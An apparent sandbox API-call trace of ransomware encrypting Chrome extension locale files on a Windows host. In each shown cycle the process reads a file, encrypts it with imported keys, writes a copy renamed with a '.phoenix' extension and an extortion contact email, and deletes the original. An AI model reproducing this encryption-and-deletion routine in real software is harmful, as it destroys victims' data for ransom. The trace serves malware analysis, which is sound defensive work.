	[0264.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json")) returned 0x20
	[0264.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.748] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.748] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.748] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.748] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.748] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0264.748] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.748] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x50f7, lpOverlapped=0x0) returned 1
	[0264.772] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x5100, dwBufLen=0x5100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x5100) returned 1
	[0264.772] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x5100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x5100, lpOverlapped=0x0) returned 1
	[0264.773] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0264.773] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.773] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.773] CryptDestroyKey (hKey=0x151440) returned 1
	[0264.773] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.774] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.774] CloseHandle (hObject=0x308) returned 1
	[0264.774] CloseHandle (hObject=0x2f0) returned 1
	[0264.774] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json")) returned 1
	[0264.775] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.775] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.777] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16370) returned 1
	[0264.777] CloseHandle (hObject=0x2f0) returned 1
	[0264.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json")) returned 0x20
	[0264.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.777] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.777] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.777] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.777] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.778] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0264.778] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.778] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3ff2, lpOverlapped=0x0) returned 1
	[0264.828] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4000, dwBufLen=0x4000 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4000) returned 1
	[0264.828] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4000, lpOverlapped=0x0) returned 1
	[0264.829] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0264.829] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.829] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.829] CryptDestroyKey (hKey=0x151540) returned 1
	[0264.829] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.830] CryptDestroyKey (hKey=0x151640) returned 1
	[0264.830] CloseHandle (hObject=0x2f0) returned 1
	[0264.830] CloseHandle (hObject=0x308) returned 1
	[0264.830] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hr\\messages.json")) returned 1
	[0264.831] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.831] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.832] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16140) returned 1
	[0264.832] CloseHandle (hObject=0x308) returned 1
	[0264.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json")) returned 0x20
	[0264.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.832] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.832] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.832] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.832] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.833] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0264.833] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.833] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3f0c, lpOverlapped=0x0) returned 1
	[0264.889] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f10, dwBufLen=0x3f10 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f10) returned 1
	[0264.889] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3f10, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3f10, lpOverlapped=0x0) returned 1
	[0264.890] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0264.890] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.890] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.890] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0264.890] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.891] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0264.891] CloseHandle (hObject=0x308) returned 1
	[0264.891] CloseHandle (hObject=0x2f0) returned 1
	[0264.891] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\it\\messages.json")) returned 1
	[0264.892] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.892] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.893] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17530) returned 1
	[0264.893] CloseHandle (hObject=0x2f0) returned 1
	[0264.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json")) returned 0x20
	[0264.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.893] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.893] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.893] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.893] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.896] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0264.896] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.896] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x447a, lpOverlapped=0x0) returned 1
	[0264.955] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4480, dwBufLen=0x4480 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4480) returned 1
	[0264.955] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4480, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4480, lpOverlapped=0x0) returned 1
	[0264.959] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0264.959] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.959] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.959] CryptDestroyKey (hKey=0x151040) returned 1
	[0264.959] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.959] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0264.959] CloseHandle (hObject=0x2f0) returned 1
	[0264.960] CloseHandle (hObject=0x308) returned 1
	[0264.960] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ja\\messages.json")) returned 1
	[0264.961] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.961] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.962] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16442) returned 1
	[0264.962] CloseHandle (hObject=0x308) returned 1
	[0264.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json")) returned 0x20
	[0264.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.962] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.962] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.962] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
